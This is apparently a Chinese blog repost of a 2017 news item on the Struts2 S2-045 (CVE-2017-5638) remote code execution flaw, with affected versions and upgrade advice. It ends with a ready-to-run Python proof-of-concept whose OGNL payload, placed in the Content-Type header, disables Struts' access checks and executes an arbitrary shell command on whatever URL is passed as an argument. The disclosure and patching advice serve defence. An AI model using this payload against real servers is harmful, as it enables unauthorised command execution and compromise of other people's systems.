博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Struts2爆远程代码执行漏洞(S2-045),附POC
阅读量:5964 次
发布时间:2019-06-19

本文共 2004 字,大约阅读时间需要 6 分钟。

本文讲的是
Struts2爆远程代码执行漏洞(S2-045),附POC

【更新】Struts2爆远程代码执行漏洞(S2-045),附POC

今天凌晨,安全研究员Nike Zheng在Struts2上发现一个高危漏洞(漏洞编号为CVE-2017-5638),当基于Jakarta Multipart解析器上传文件时,可能会导致远程代码执行。

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。

Struts2爆远程代码执行漏洞

受影响的版本为Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10,建议所有的Struts2开发者和用户将其软件更新到最新版本( Struts 2.3.32 或者Struts 2.5.10.1)。

【更新】Struts2爆远程代码执行漏洞(S2-045),附POC

据国内安全圈各大牛的朋友圈显示,昨天晚上Java工程师们都在连夜加班修复这一问题。最后再次建议,Struts2用户尽快将其软件版本更新至最新版本。

POC

#! /usr/bin/env python# encoding:utf-8import urllib2import sysfrom poster.encode import multipart_encodefrom poster.streaminghttp import register_openersdef poc():    register_openers()    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"    header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"    request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)    response = urllib2.urlopen(request)    print response.read()poc()
原文发布时间为:2017年3月7日
本文作者:張奕源Nick
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

转载地址:http://evnax.baihongyu.com/

你可能感兴趣的文章
Linux设备驱动工程师之路——硬件访问及混杂设备LED驱动
查看>>
进程和线程<一>
查看>>
远程算数程序——版本v1.0
查看>>
Mysql常见四种索引的使用
查看>>
说说Android桌面(Launcher应用)背后的故事(一)——揭开她神秘的面纱
查看>>
第一篇:zc706 开箱及开发环境搭建
查看>>
python-冒泡排序
查看>>
Mac下修改Hosts文件工具——Gas Mask
查看>>
协程函数应用
查看>>
CSU Double Shortest Paths 湖南省第十届省赛
查看>>
Tomcat学习总结(2)——Tomcat使用详解
查看>>
寒假作业二:币值转换
查看>>
webgl像机世界
查看>>
php正则怎么使用(最全最细致)
查看>>
课后作业03-验证课件上的代码,并将所有的动手动脑或要求发表博客作业部分整理成一篇博客...
查看>>
leetcode -- Valid Parentheses
查看>>
C#的常见算法(面试)(转)
查看>>
MVC_学习笔记_2_Authorize
查看>>
pycharm修改hosts文件
查看>>
DSP模块之:EDMA
查看>>